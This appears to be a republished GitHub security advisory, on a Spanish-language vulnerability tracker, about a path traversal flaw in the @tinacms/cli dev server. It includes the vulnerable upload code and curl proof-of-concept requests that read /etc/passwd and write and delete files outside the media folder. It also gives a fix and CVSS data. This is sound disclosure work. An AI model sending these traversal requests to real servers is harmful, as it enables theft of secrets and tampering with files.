Alta

TinaCMS Vulnerable to Path Traversal Leading to Arbitrary File Read, Write and Delete

  • Publicada: 12.03.2026
  • Actualizado: 11.10.2026 10:22

Summary

The TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.

Details

When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:

  • /media/list/*

  • /media/upload/*

  • /media/*

These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.

Vulnerable code

js
bb.on('file', async (_name, file, _info) => {
      const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));
      const saveTo = path.join(mediaFolder, ...fullPath.split('/'));
// No validation that saveTo remains within mediaFolder
      await fs.ensureDir(path.dirname(saveTo));
      file.pipe(fs.createWriteStream(saveTo));
    });

PoC

Arbitrary File Read

bash
curl "http://localhost:4001/media/list/../../../etc/passwd"

Result:

<img width="889" height="280" alt="image(1)" src="https://github.com/user-attachments/assets/a878a86a-71db-46ed-abda-3d4ddba692e0" />

Arbitrary File Write

bash
echo "ATTACKER_CONTROLLED_CONTENT" > /tmp/payload.txt

curl --path-as-is -X POST \
  "http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt" \
  -F "file=@/tmp/payload.txt"
cat /tmp/pwned.txt

Result: <img width="1320" height="84" alt="image(8)" src="https://github.com/user-attachments/assets/8bd5046b-0456-474f-ab96-4e18a421997c" />

Arbitrary File Delete

bash
echo "delete_me" > /tmp/delete-test.txt
cat /tmp/delete-test.txt # confirms file exists
curl --path-as-is -X DELETE \
"http://localhost:4001/media/../../../../../../tmp/delete-test.txt"
cat /tmp/delete-test.txt # "No such file or directory"
<img width="1135" height="105" alt="image" src="https://github.com/user-attachments/assets/64c24b83-0259-4a12-969d-98c8e8cc81ca" />

Impact

An attacker who can reach the TinaCMS CLI dev server can:

  • Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)

  • Write arbitrary files anywhere writable by the server process

  • Delete or overwrite files, depending on endpoint usage

  • Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files

Attack Surface

The dev server binds to localhost by default, but exploitation is realistic in:

  • Cloud IDEs (Codespaces, Gitpod)

  • Docker or VM setups with port forwarding

  • Misconfigured dev environments binding to 0.0.0.0

  • Local malware or malicious dependencies

The server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.

Recommended Fix

  • Resolve paths to absolute form

  • Enforce that resolved paths remain within the media root

  • Reject .. path segments and absolute paths

  • Consider authentication or token protection for dev server endpoints

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @tinacms/cli < 2.1.8 2.1.8

Referencias

Puntuación CVSS 8.4/10
Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-22
Plataforma
npm
Paquete
@tinacms/cli
Publicada
12.03.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-2f24-mg4x-534q - CC BY 4.0

Historial de vulnerabilidades: @tinacms/cli

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (9) en el archivo
Entradas en total
9
Primera → última
02.2023 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 6
  • Media 2

Divulgaciones por año

  1. 2023: 1
  2. 2024: 1
  3. 2025: 1
  4. 2026: 6
Gravedad:
  1. TinaCMS Vulnerable to Path Traversal Leading to Arbitrary File Read, Write and Delete esta entrada
    Alta · 8.4 CVE-2026-28793 < 2.1.8 2.1.8
  2. Alta CVE-2025-68278 < 2.0.4 2.0.4
  3. Alta · 7.5 CVE-2024-45391 < 1.6.2 1.6.2
  4. Alta · 8.6 CVE-2023-25164 >= 1.0.0, < 1.0.9 1.0.9

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.